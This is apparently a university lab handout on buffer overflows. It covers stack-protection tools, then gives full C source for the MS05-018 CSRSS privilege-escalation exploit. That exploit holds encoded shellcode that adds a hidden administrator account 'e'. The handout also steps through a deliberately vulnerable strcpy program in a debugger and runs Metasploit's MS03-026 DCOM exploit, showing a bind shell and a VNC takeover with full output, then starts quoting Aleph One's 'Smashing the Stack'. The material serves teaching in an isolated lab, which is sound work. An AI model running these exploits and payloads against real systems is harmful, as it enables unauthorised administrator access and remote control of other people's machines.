There are other utilities available which can be used for preventing buffer overflows. One
such utility is Stackguard (http://www.immunix.org/gcc-2.96-113_SGb1.src.rpm) which
protects your programs from buffer overflows by compiling them with compilers which
take special action to protect the stack during run time. You compile your program using
these compilers and depending on the programs implementation will protect the stack
from stack-smashing attacks. Stackguard inserts an extra field on the stack called a
“canary” next to the return pointer on the stack. It uses the canary to determine if the
return pointer has been changed; if the canary is changed then the stack has been
compromised and the program will stop execution.
Another such tool is called the Stack Shield, which adds protection from stack overflows
without changing the code. It causes the program to copy the RET address to an
unoverflowable location on function beginnings and checks it with the RET address
before the function returns. If the two values are different, the program crashes. Stack
Shield is an assembler file processor and relies on the GCC/G++ front ends to automate
compilation. It can be downloaded from
http://www.angelfire.com/sk/stackshield/download.html.
There are numerous tools to find flaws in code today. One of these tools is Flawfinder.
Flawfinder analyzes C/C++ source files and warns of any potential problems in the code.
When run on a source file flawfinder will show any gets, printf, strcpy commands and
others that might cause vulnerabilities in the code. One nice feature of flawfinder is that
the code need not be compiled to test it.
http://www.dwheeler.com/flawfinder/flawfinder-1.26.tar.gz
20
Section VI - Obtaining Administrator Privileges on Windows
using a Buffer Overflow Attack
If an attacker has a “Limited” account on:
* Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4
* Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
* Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
* Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
* Microsoft Windows Server 2003
* Microsoft Windows Server 2003 for Itanium-based Systems
* Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft
Windows Millennium Edition (ME)
he/she can obtain administrator privileges by performing a buffer overflow in windows’
CSRSS which is the user-mode part of Win32 subsystem. The exploit is downloaded
from:
http://www.frsirt.com/exploits/20050905.MS05-018-CSRSS.c.php
This exploit creates an account called “e” with Administrator’s privileges. The Password
is: “asd#321”.
First, you need to create a Limited account on your WinXP virtual machine. Go to Start
> Control Panel > User Accounts > Create a New Account. Use whatever username you
want, but make sure you select Limited for account type.
Next, log off and log in as your newly created user. On the NAS in the Lab4 folder there
is a file called csrss.zip.RenameME. It has been renamed for your safety. AS THE
LIMITED USER Get it from the NAS and onto your WinXP virtual machine.
(\\57.35.6.10\secure_class with the usual password secure_class). Right click on the file
and rename it csrss.zip. Open the zipped folder and copy the contents, csrss.exe, to your
desktop.
The exploit requires you to know the Process ID of “WINLOGON.EXE”. This is done in
step 4. Make sure you are running the project in a “Limited” account in order to see the
exploit work. To run it:
1. Click Start > Run
2. Type cmd
3. Go to C:\Documents and Settings\<username>\Desktop
4. Enter tasklist. You will now see the processes that are running on your machine.
Find the one that says “WINLOGON.EXE” and write down the PID, which is
displayed at the bottom-left of the process window.
5. Enter csrss.exe <PID>
The command line will close and trying to run it again will cause an error. Restart the
VM and log in as:
21
USERNAME: e
PASSWORD: asd#321
You now have Administrator’s privileges!!! You can verify this by looking at the users
on your computer (Start > Control Panel > User Accounts) and checking your privileges.
It will say Computer Administrator.
19) Were you able to obtain administrator privileges?
Just as an FYI: EXPLOIT CODE used in Obtaining
Administrator Privileges on Windows using a Buffer Overflow
Attack
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#pragma comment (lib,"Advapi32.lib")
typedef struct _CONSOLE_STATE_INFO {
/* 0x00 */ DWORD cbSize;
/* 0x04 */ COORD ScreenBufferSize;
/* 0x08 */ COORD WindowSize;
/* 0x0c */ POINT WindowPosition;
/* 0x14 */ COORD FontSize;
/* 0x18 */ DWORD FontFamily;
/* 0x1c */ DWORD FontWeight;
/* 0x20 */ WCHAR FaceName[0x200];
} CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO;
typedef struct xxx
{
DWORD dw[6];
char cmd[0x50];
}address_and_cmd;
22
char decoder[]=
"\x8b\xdc"
"\xBE\x44\x59\x41\x53\x46\xBF\x44\x59\x34\x53\x47\x43\x39\x33\x75"
"\xFB\x83\xC3\x04\x80\x33\x97\x43\x39\x3B\x75\xF8\x45\x59\x41\x53";
//user=e
//pass=asd#321
char add_user[]=
"\x90\x90\x90\x90\x90\x90\x90\x8D\x7b\x98\xFF\x77\x14\x6A\x00\x68"
"\x2A\x04\x00\x00\xFF\x17\x8B\xD8\x6A\x04\x68\x00\x10\x00\x00\x68"
"\x00\x01\x00\x00\x6A\x00\x53\xFF\x57\x04\x8B\xF0\x6A\x00\x68\x00"
"\x01\x00\x00\x8D\x47\x18\x50\x56\x53\xFF\x57\x08\x33\xC0\x50\x50"
"\x56\xFF\x77\x10\x50\x50\x53\xFF\x57\x0C";
char decode_end_sign[]="EY4S";
char sc[0x200];
char szConsoleTitle[256];
DWORD search_jmpesp()
{
char szDLL[][30] = {"ntdll.dll",
"kernel32.dll",
"user32.dll",
"gdi32.dll",
"winsrv.dll",
"csrsrv.dll",
"basesrv.dll"};
int i,y;
BOOL done;
HMODULE h;
BYTE *ptr;
DWORD addr=0;
for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++)
{
done = FALSE;
h = LoadLibrary(szDLL[i]);
if(h == NULL)
continue;
printf("[+] start search \"FF E4\" in %s\n", szDLL[i]);
ptr = (BYTE *)h;
for(y = 0;!done;y++)
{
__try
{
if(ptr[y] == (BYTE)'\xFF' && ptr[y+1] == (BYTE)'\xE4')
{
addr = (int)ptr + y;
done = TRUE;
printf("[+] found \"FF E4\"(jmp esp) in %X[%s]\n", addr, szDLL[i]);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
done = TRUE;
}
}
FreeLibrary(h);
if(addr) break;
}
return addr;
}
BOOL make_shellcode(DWORD dwTargetPid)
{
HMODULE hKernel32;
address_and_cmd aac;
int i=0, j=0, size=0;
hKernel32 = LoadLibrary("kernel32.dll");
if(!hKernel32) return FALSE;
aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess");
aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx");
23
aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread");
aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec");
aac.dw[5] = dwTargetPid;
memset(aac.cmd, 0, sizeof(aac.cmd));
strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add");
//encode
strcpy(sc, decoder);
for(i=0;i<sizeof(add_user);i++)
add_user[i]^=(BYTE)'\x97';
strcat(sc, add_user);
for(i=0;i<sizeof(aac);i++)
((char *)&aac)[i]^=(BYTE)'\x97';
size=strlen(sc);
memcpy(&sc[size], (char *)&aac, sizeof(aac));
size+=sizeof(aac);
sc[size]='\x0';
strcat(sc, decode_end_sign);
return TRUE;
}
void exploit(HWND hwnd, DWORD dwPid)
{
HANDLE hFile;
LPVOID lp;
int i, index;
DWORD dwJMP;
CONSOLE_STATE_INFO csi;
memset((void *)&csi, 0, sizeof(csi));
csi.cbSize = sizeof(csi);
csi.ScreenBufferSize.X = 0x0050;
csi.ScreenBufferSize.Y = 0x012c;
csi.WindowSize.X = 0x0050;
csi.WindowSize.Y=0x0019;
csi.WindowPosition.x = 0x58;
csi.WindowPosition.y = 0x58;
csi.FontSize.X = 0;
csi.FontSize.Y=0xc;
csi.FontFamily = 0x36;
csi.FontWeight = 0x190;
for(i=0;i<0x58;i++)
((char *)csi.FaceName)[i] = '\x90';
dwJMP = search_jmpesp();
if(!dwJMP)
{
printf("[-] search FF E4 failed.\n");
return;
}
memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4);
for(i=0;i<0x20;i++)
strcat((char *)csi.FaceName, "\x90");
index = strlen((char *)csi.FaceName);
if(!make_shellcode(dwPid)) return;
memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc));
hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0);
if(!hFile)
{
printf("[-] CreateFileMapping failed:%d\n", GetLastError());
return;
}
printf("[+] CreateFileMapping OK!\n");
lp = MapViewOfFile(hFile, 0x0F001F,0,0,0);
if(!lp)
24
{
printf("[-] MapViewOfFile failed:%d\n", GetLastError());
return;
}
printf("[+] MapViewOfFile OK!\n");
//copy
memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize);
printf("[+] Send Exploit!\n");
SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0);
}
void main(int argc, char **argv)
{
DWORD dwRet;
HWND hwnd = NULL;
DWORD dwPid = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe;
printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0\n"
"Affect: Windows 2000 sp3/sp4 (all language)\n"
"Coded by eyas <eyas at xfocus.org>\n"
"http://www.xfocus.net\n\n");
if(argc==2)
{
dwPid = atoi(argv[1]);
}
else
{
printf("Usage: %s pid\n\n", argv[0]);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0)
{
printf("[+] PID=%d Process=%s\n", pe.th32ProcessID, pe.szExeFile);
}
}
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle (hSnapshot);
}
if(!dwPid) return;
if(!FreeConsole())
printf("[-] FreeConsole failed:%d\n", GetLastError());
else
{
printf("[+] FreeConsole ok.\n");
if(!AllocConsole())
printf("[-] AllocConsole failed:%d\n", GetLastError());
else
printf("[+] AllocConsole ok.\n");
}
dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle));
if(dwRet)
{
printf("[+] Get Console Title OK:\"%s\"\n", szConsoleTitle);
}
else
{
printf("[-] Get Console Title failed.\n");
return;
}
25
hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle);
if(hwnd)
printf("[+] bingo! found hwnd=%X\n", hwnd);
else
{
printf("[-] can't found hwnd!\n");
return;
}
exploit(hwnd, dwPid);
printf("[+] Done.\n");
}
26
Section VII – Watching a Buffer overflow in action
Understanding the nuances of the stack is a challenge for all those who attempt to write a
buffer overflow. This introductory part will help clear out many misconceptions as well
as provide a firm foundation for understanding the remaining parts of the assignment.
OllyDbg is a 32-bit assembler level analysing debugger for Microsoft® Windows®.
Emphasis on binary code analysis makes it particularly useful in cases where source is
unavailable.
[http://www.ollydbg.de/download.htm]
1. Copy the files Cpp1.exe and odbg110.zip from the Lab4 folder of the NAS to
your WinXP virtual machine.
2. Extract odbg110.zip into a folder and double click the OLLYDBG.EXE file
3. In the menu go to OPTIONS > JUST IN TIME DEBUGGING
4. Select <Make OllyDbg just in time debugger>
5. Select <Attach without confirmation>
6. Select <Done>
Cpp1.exe is a simple program, very similar to the one described in AlephOne’s paper
(Smashing the Stack). The code for the exe is displayed below.
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void overflow (char * longstr)
{
char buff[32];
strcpy(buff, longstr);
}
void main (int argc, char* argv[])
{
if(argc != 2)
{
printf("Usage EXE <Argument>");
exit(0);
}
__asm{int 03h};
// Code to generate a breakpoint for the debugger
overflow(argv[1]);
}
27
Notice the __asm{int 03h}; instruction. INT 03H is an instruction that causes a
breakpoint. This breakpoint causes a debugger to be invoked, allowing us to view the
contents of the stack before the function is called. This line of code in NO WAY modifies
the execution of the program. It is only placed so that the debugger is invoked, allowing
us to easily study the execution of the code.
To begin the demonstration, perform the following task.
1. Go to Start > Run > cmd
2. Go to C:\Documents and Settings\user1\Desktop\ (or wherever you put
Cpp1.exe)
3. Execute the program by typing
C:\Cpp1.exe @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
4. An exception occurs and the debugger is now invoked
28
CPU Registers
Code Window
Instruction that caused
the debugger to load.
Stack Window
Notice the following:
(a) The value of EIP and the address of the instruction INT 3, is the same
(0040104D). This is the location where the Instruction Pointer (EIP) is, and it is
pointing to the current instruction which is executing.
(b) Following this instruction, at 00401054, is the instruction PUSH ECX. This
pushes a pointer to the value of ARGV[1] onto the stack
(c) Then there is a CALL instruction. This instruction calls the function overflow,
which resides at location 00401000.
To watch the execution, press F7 repeatedly to notice the following events taking place.
If we proceed to step through the execution, we notice that at the instruction
00401021:
F3:A5
REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
29
The stack starts filling up with 40404040…
Instruction that starts copying the string onto
the stack from memory
Location on the stack where the buffer begins
The address on the stack where the debugger starts displaying the 40404040 indicates the
start of the buffer we wish to exploit. This is the address which we would have to make
our return address point to.
As we proceed with the execution, we notice the
entire stack being overwritten with 40s.
The stack now gets completely filled with 40s
30
The debugger then returns the error : (if you don’t see this after a while of holding down F7, and the
bottom info bar says something about pushing Shift+F7/F8/F9 to pass an exception, use Shift+F7 to
pass an exception.)
This indicates that we managed to overwrite the address with 40404040 (which is the
ASCII value for @@@@)
Now, we can modify this address by placing any value we want into the buffer, thus
causing it to jump to the address of our choosing…
To find out where the return address was stored, all we have to do is to send instead of
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@,
we send
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789
So, when we get the memory exception, it will tell us exactly where in our buffer the
return address is to be placed for us to jump to any arbitrary location.
And then we look to see how we can overwrite this address to point into our stack and
into our shell code.
Now, we know that 6A = j, 69 = i, 68 = h, 67 = g
So, in our overflow value, we can put, (in place of “ghij”), whatever value we wish and
cause the program execution to jump to that location and resume execution.
Thus, the format of a buffer overflow exploit would be
31
NOP Buffer
Exploit Shell Code
Jump into NOP Buffer*
Jump into NOP Buffer*
Jump into NOP Buffer*
* The JUMP will contain the address of the start of the buffer. In this case 0012FF58.
Thus, we know exactly where in the buffer the Jump instruction is and where exactly we
need to jump to start our shell code.
20) Were you able to follow the example in the debugger as explained in the lab?
Section VIII – Automated Toolkits to Write Buffer Overflow Exploits
Metasploit Framework
This tool was the first open-source and freely available exploit development framework, and in
the year following its release, MSF rapidly grew to be one of the security community’s most
popular tools. This tool reduces the time and background knowledge required to develop and run
functional exploits.
Here is a simple example to demonstrate the power of this tool. We will attack the
Windows XP virtual machine.
1) Start up the Windows XP virtual machine.
2) Copy the Metasploit framework, framework-2.4.tar.gz, from the folder Lab4 on
the NAS to the WS4 machine.
3) Extract it’s contents using tar –zxvf framework-2.4.tar.gz
4) Change to the directory: cd framework-2.4
5) Listed you will find many of the metasploit tools
[root@group32 framework-2.4]# ls
data
exploits msfcli
msfencode
docs
extras
msfconsole msflogdump
encoders lib
msfelfscan msfpayload
msfpescan
msfupdate
msfweb
nops
payloads
sdk
src
tools
The framework contains multiple interfaces: a command line interface (msfcli), a
console interface (msfconsole) and a web interface (msfweb).
32
This tool is also available freely and can be run on Windows with it’s cygwin
installer.
6) We will use the console interface msfconsole. Run ./msfconsole
[root@group32 framework-2.4]# ./msfconsole
(ie Term::Read Line::Gnu)
##
## ## #### ###### #### #####
#####
####### ## ## ## ##
## ## ##
####### ###### ## #####
#### ## ##
## # ##
## ## ## ## ##
#####
##
## #### ###
#####
#####
##
##
###
##
##
##
##
####
##
####
## ##
## ##
## ##
####
##
######
###
##
##
##
##
##
#### ###
+ -- --=[ msfconsole v2.4 [75 exploits - 75 payloads]
7) Type show exploits to see a list of exploits the framework contains.
msf > show exploits
Metasploit Framework Loaded Exploits
====================================
3com_3cdaemon_ftp_overflow
Credits
afp_loginext
aim_goaway
apache_chunked_win32
arkeia_agent_access
arkeia_type77_macos
arkeia_type77_win32
backupexec_ns
bakbone_netvault_heap
blackice_pam_icq
cabrightstor_disco
cabrightstor_disco_servicepc
cabrightstor_uniagent
calicclnt_getconfig
calicserv_getconfig
distcc_exec
exchange2000_xexch50
globalscapeftp_user_input
ia_webmail
icecast_header
iis40_htr
iis50_printer_overflow
iis50_webdav_ntdll
iis_fp30reg_chunked
iis_nsiislog_post
iis_source_dumper
iis_w3who_overflow
imail_imap_delete
imail_ldap
irix_lpsched_exec
lsass_ms04_011
maxdb_webdbm_get_overflow
mercantec_softcart
minishare_get_overflow
msasn1_ms04_007_killbill
3Com 3CDaemon FTP Server Overflow
Metasploit Framework Credits
AppleFileServer LoginExt PathName Overflow
AOL Instant Messenger goaway Overflow
Apache Win32 Chunked Encoding
Arkeia Backup Client Remote Access
Arkeia Backup Client Type 77 Overflow (Mac OS X)
Arkeia Backup Client Type 77 Overflow (Win32)
Veritas Backup Exec Name Service Overflow
BakBone NetVault Remote Heap Overflow
ISS PAM.dll ICQ Parser Buffer Overflow
CA BrightStor Discovery Service Overflow
CA BrightStor Discovery Service SERVICEPC Overflow
CA BrightStor Universal Agent Overflow
CA License Client GETCONFIG Overflow
CA License Server GETCONFIG Overflow
DistCC Daemon Command Execution
Exchange 2000 MS03-46 Heap Overflow
GlobalSCAPE Secure FTP Server user input overflow
IA WebMail 3.x Buffer Overflow
Icecast (<= 2.0.1) Header Overwrite (win32)
IIS 4.0 .HTR Buffer Overflow
IIS 5.0 Printer Buffer Overflow
IIS 5.0 WebDAV ntdll.dll Overflow
IIS FrontPage fp30reg.dll Chunked Overflow
IIS nsiislog.dll ISAPI POST Overflow
IIS Web Application Source Code Disclosure
IIS w3who.dll ISAPI Overflow
IMail IMAP4D Delete Overflow
IMail LDAP Service Buffer Overflow
Irix lpsched Command Execution
Microsoft LSASS MSO4-011 Overflow
MaxDB WebDBM GET Buffer Overflow
Mercantec SoftCart CGI Overflow
Minishare 1.41 Buffer Overflow
Microsoft ASN.1 Library Bitstring Heap Overflow
33
msmq_deleteobject_ms05_017
msrpc_dcom_ms03_026
mssql2000_preauthentication
mssql2000_resolution
netterm_netftpd_user_overflow
openview_omniback
oracle9i_xdb_ftp
oracle9i_xdb_ftp_pass
payload_handler
poptop_negative_read
realserver_describe_linux
samba_nttrans
samba_trans2open
samba_trans2open_osx
samba_trans2open_solsparc
sambar6_search_results
seattlelab_mail_55
sentinel_lm7_overflow
servu_mdtm_overflow
smb_sniffer
solaris_dtspcd_noir
solaris_kcms_readfile
solaris_lpd_exec
solaris_sadmind_exec
solaris_snmpxdmid
solaris_ttyprompt
squid_ntlm_authenticate
svnserve_date
trackercam_phparg_overflow
uow_imap4_copy
uow_imap4_lsub
ut2004_secure_linux
ut2004_secure_win32
warftpd_165_pass
warftpd_165_user
webstar_ftp_user
windows_ssl_pct
wins_ms04_045
wsftp_server_503_mkd
Microsoft Message Queueing Service MSO5-017
Microsoft RPC DCOM MSO3-026
MSSQL 2000/MSDE Hello Buffer Overflow
MSSQL 2000/MSDE Resolution Overflow
NetTerm NetFTPD USER Buffer Overflow
HP OpenView Omniback II Command Execution
Oracle 9i XDB FTP UNLOCK Overflow (win32)
Oracle 9i XDB FTP PASS Overflow (win32)
Metasploit Framework Payload Handler
Poptop Negative Read Overflow
RealServer Describe Buffer Overflow
Samba Fragment Reassembly Overflow
Samba trans2open Overflow
Samba trans2open Overflow (Mac OS X)
Samba trans2open Overflow (Solaris SPARC)
Sambar 6 Search Results Buffer Overflow
Seattle Lab Mail 5.5 POP3 Buffer Overflow
SentinelLM UDP Buffer Overflow
Serv-U FTPD MDTM Overflow
SMB Password Capture Service
Solaris dtspcd Heap Overflow
Solaris KCMS Arbitary File Read
Solaris LPD Command Execution
Solaris sadmind Command Execution
Solaris snmpXdmid AddComponent Overflow
Solaris in.telnetd TTYPROMPT Buffer Overflow
Squid NTLM Authenticate Overflow
Subversion Date Svnserve
TrackerCam PHP Argument Buffer Overflow
University of Washington IMAP4 COPY Overflow
University of Washington IMAP4 LSUB Overflow
Unreal Tournament 2004 "secure" Overflow (Linux)
Unreal Tournament 2004 "secure" Overflow (Win32)
War-FTPD 1.65 PASS Overflow
War-FTPD 1.65 USER Overflow
WebSTAR FTP Server USER Overflow
Microsoft SSL PCT MS04-011 Overflow
Microsoft WINS MS04-045 Code Execution
WS-FTP Server 5.03 MKD Overflow
That’s a lot of exploits!!
8) For now we will run an RPC exploit msrpc_dcom_ms03_026
DCOM MSO3-026
But first let’s see what it does:
msf > info msrpc_dcom_ms03_026
Name:
Class:
Version:
Target OS:
Keywords:
Privileged:
Microsoft RPC DCOM MSO3-026
remote
$Revision: 1.39 $
win32, win2000, winnt, winxp, win2003
dcom
Yes
Provided By:
H D Moore <hdm [at] metasploit.com>
spoonm <ninjatools [at] hush.com>
Available Targets:
Windows NT SP6/2K/XP/2K3 ALL
34
Microsoft RPC
Available Options:
Exploit:
-------required
required
Name
-----RHOST
RPORT
Default
------135
Description
-----------------The target address
The target port
Payload Information:
Space: 998
Avoid: 7 characters
| Keys: noconn tunnel bind ws2ord reverse
Nop Information:
SaveRegs: esp ebp
| Keys:
Encoder Information:
| Keys:
Description:
This module exploits a stack overflow in the RPCSS service, this
vulnerability was originally found by the Last Stage of Delirium
research group and has been widely exploited ever since. This
module can exploit the English versions of Windows NT 4.0 SP6,
Windows 2000, Windows XP, and Windows 2003 all in one request :)
References:
http://www.osvdb.org/2100
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx
So the exploit we are running is a stack overflow exploit.
9) To select the exploit type in “use <exploitname>” and then see the options that are
required to be provided.
msf > use msrpc_dcom_ms03_026
msf msrpc_dcom_ms03_026 > show options
Exploit Options
===============
Exploit:
Name
------------required
RHOST
required
RPORT
Default
------135
Description
-----------------The target address
The target port
Target: Windows NT SP6/2K/XP/2K3 ALL
10) Set all the options that are required. Set the RHOST to the ip of the Windows XP
virtual machine.
msf msrpc_dcom_ms03_026 > set RHOST 57.35.6.168
RHOST -> 57.35.6.168
35
11) The best part about metasploit is that multiple payloads can be used for the same
exploit. In our previous examples we just got a shell. Further we will demonstrate other
payloads. For now we will start with getting a shell as shown.
msf msrpc_dcom_ms03_026 > show payloads
Metasploit Framework Usable Payloads
====================================
win32_adduser
win32_bind
win32_bind_dllinject
win32_bind_meterpreter
win32_bind_stg
win32_bind_stg_upexec
win32_bind_vncinject
win32_exec
win32_passivex
Payload
win32_passivex_meterpreter
Meterpreter Payload
win32_passivex_stg
win32_passivex_vncinject
Server Payload
win32_reverse
win32_reverse_dllinject
win32_reverse_meterpreter
win32_reverse_ord
win32_reverse_ord_vncinject
Inject
win32_reverse_stg
win32_reverse_stg_upexec
win32_reverse_vncinject
Windows
Windows
Windows
Windows
Windows
Windows
Windows
Windows
Windows
Execute net user /ADD
Bind Shell
Bind DLL Inject
Bind Meterpreter DLL Inject
Staged Bind Shell
Staged Bind Upload/Execute
Bind VNC Server DLL Inject
Execute Command
PassiveX ActiveX Injection
Windows PassiveX ActiveX Inject
Windows Staged PassiveX Shell
Windows PassiveX ActiveX Inject VNC
Windows
Windows
Windows
Windows
Windows
Reverse Shell
Reverse DLL Inject
Reverse Meterpreter DLL Inject
Staged Reverse Ordinal Shell
Reverse Ordinal VNC Server
Windows Staged Reverse Shell
Windows Staged Reverse Upload/Execute
Windows Reverse VNC Server Inject
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind
PAYLOAD -> win32_bind
msf msrpc_dcom_ms03_026(win32_bind) > show options
Exploit and Payload Options
===========================
Exploit:
-------required
required
Name
-----RHOST
RPORT
Default
----------57.35.6.168
135
Payload:
Name
---------------------required
EXITFUNC
"thread", "seh"
required
LPORT
Description
-----------------The target address
The target port
Default
-------
Description
----------------------------------
thread
Exit technique: "process",
4444
Listening port for bind shell
Target: Windows NT SP6/2K/XP/2K3 ALL
Type exploit to run the exploit
36
msf
[*]
[*]
[*]
msrpc_dcom_ms03_026(win32_bind) > exploit
Starting Bind Handler.
Connected to REMACT with group ID 0x35c5
Got connection from 57.35.6.166:32781 <-> 57.35.6.168:4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>exit
exit
[*] Exiting Bind Handler.
12) Now we will change the payload to completely control the windows box by injecting
a VNC server. Use the command ‘SET PAYLOAD win32_bind_vncinject’
NOTE: When we tried this, the VNC shell popped up on the WinXP virtual machine
rather than back on the Red Hat 4.0 host. Possibly this has to do with using VMWare
rather than an actual separate Windows box. Go ahead and try to run this (you might
have to restart your Windows VM if it fails), but don’t worry if it doesn’t work. If you’re
interested, you can try and figure out why it failed so we can get it working for future
semesters.
msf msrpc_dcom_ms03_026(win32_bind) > set PAYLOAD win32_bind_vncinject
PAYLOAD -> win32_bind_vncinject
msf msrpc_dcom_ms03_026(win32_bind_vncinject) > show options
Exploit and Payload Options
===========================
Exploit:
-------required
required
Name
-----RHOST
RPORT
Default
----------57.35.6.168
135
Description
-----------------The target address
The target port
Payload:
Name
Default
Description
----------------------------------------------------------------------------------------------------------required
VNCDLL
/root/Lab4/Metasploit/framework-2.4//data/vncdll.dll
The full path the VNC service dll
required
EXITFUNC
thread
Exit technique: "process", "thread", "seh"
required
AUTOVNC
1
Automatically launch vncviewer
required
VNCPORT
5900
The local port to use for the VNC proxy
required
LPORT
4444
Listening port for bind shell
Target: Windows NT SP6/2K/XP/2K3 ALL
msf
[*]
[*]
[*]
[*]
[*]
msrpc_dcom_ms03_026(win32_bind_vncinject) > exploit
Starting Bind Handler.
Connected to REMACT with group ID 0x35c6
Got connection from 57.35.6.166:32784 <-> 57.35.6.168:4444
Sending Stage (2834 bytes)
Sleeping before sending dll.
37
[*] Uploading dll to memory (348170), Please wait...
[*] Upload completed
[*] VNC proxy listening on port 5900...
VNC viewer for X version 4.0 - built Nov 24 2004 16:03:27
Copyright (C) 2002-2004 RealVNC Ltd.
See http://www.realvnc.com for information on VNC.
Mon Oct 3 13:49:33 2005
CConn:
connected to host 127.0.0.1 port 5900
CConnection: Server supports RFB protocol version 3.3
CConnection: Using RFB protocol version 3.3
TXImage:
Using default colormap and visual, TrueColor, depth 24.
CConn:
Using pixel format depth 6 (8bpp) rgb222
CConn:
Using ZRLE encoding
[*] VNC proxy finished
[*] Exiting Bind Handler.
msf msrpc_dcom_ms03_026(win32_bind_vncinject) >
Voila! A window now opens connected to the VNC server on the windows machine
giving you total control!
21) Did you get a window with total control?
38
Appendix A
.oO Phrack 49 Oo.
Volume Seven, Issue Forty-Nine
File 14 of 16
BugTraq, r00t, and Underground.Org
bring you
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
by Aleph One
aleph1@underground.org
`smash the stack` [C programming] n. On many C implementations
it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine. Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address. This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle
the stack; the term mung the stack is not used, as this is
never done intentionally. See spam; see also alias bug,
fandango on core, memory leak, precedence lossage, overrun screw.
Introduction
~~~~~~~~~~~~
Over the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited. Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc. This paper attempts to explain what buffer overflows
are, and how their exploits work.
Basic knowledge of assembly is required. An understanding of
virtual
memory concepts, and experience with gdb are very helpful but not
necessary.
We also assume we are working with an Intel x86 CPU, and that the
operating
system is Linux.
Some basic definitions before we begin: A buffer is simply a
contiguous
block of computer memory that holds multiple instances of the same data
type. C programmers normally associate with the word buffer arrays.
Most
commonly, character arrays. Arrays, like all variables in C, can be
declared either static or dynamic. Static variables are allocated at
load
time on the data segment. Dynamic variables are allocated at run time
on
the stack. To overflow is to flow, or fill over the top, brims, or
bounds.
39
We will concern ourselves only with the overflow of dynamic buffers,
otherwise
known as stack-based buffer overflows.
Process Memory Organization
~~~~~~~~~~~~~~~~~~~~~~~~~~~
To understand what stack buffers are we must first understand how a
process is organized in memory. Processes are divided into three
regions:
Text, Data, and Stack. We will concentrate on the stack region, but
first
a small overview of the other regions is in order.
The text region is fixed by the program and includes code
(instructions)
and read-only data. This region corresponds to the text section of the
executable file. This region is normally marked read-only and any
attempt to
write to it will result in a segmentation violation.
The data region contains initialized and uninitialized data. Static
variables are stored in this region. The data region corresponds to
the
data-bss sections of the executable file. Its size can be changed with
the
brk(2) system call. If the expansion of the bss data or the user stack
exhausts available memory, the process is blocked and is rescheduled to
run again with a larger memory space. New memory is added between the
data
and stack segments.
/------------------\
|
|
|
Text
|
|
|
|------------------|
|
(Initialized) |
|
Data
|
| (Uninitialized) |
|------------------|
|
|
|
Stack
|
|
|
\------------------/
lower
memory
addresses
higher
memory
addresses
Fig. 1 Process Memory Regions
What Is A Stack?
~~~~~~~~~~~~~~~~
A stack is an abstract data type frequently used in computer
science. A
stack of objects has the property that the last object placed on the
stack
40
will be the first object removed. This property is commonly referred
to as
last in, first out queue, or a LIFO.
Several operations are defined on stacks. Two of the most important
are
PUSH and POP. PUSH adds an element at the top of the stack. POP, in
contrast, reduces the stack size by one by removing the last element at
the
top of the stack.
Why Do We Use A Stack?
~~~~~~~~~~~~~~~~~~~~~~
Modern computers are designed with the need of high-level languages
in
mind. The most important technique for structuring programs introduced
by
high-level languages is the procedure or function. From one point of
view, a
procedure call alters the flow of control just as a jump does, but
unlike a
jump, when finished performing its task, a function returns control to
the
statement or instruction following the call. This high-level
abstraction
is implemented with the help of the stack.
The stack is also used to dynamically allocate the local variables
used in
functions, to pass parameters to the functions, and to return values
from the
function.
The Stack Region
~~~~~~~~~~~~~~~~
A stack is a contiguous block of memory containing data. A register
called
the stack pointer (SP) points to the top of the stack. The bottom of
the
stack is at a fixed address. Its size is dynamically adjusted by the
kernel
at run time. The CPU implements instructions to PUSH onto and POP off
of the
stack.
The stack consists of logical stack frames that are pushed when
calling a
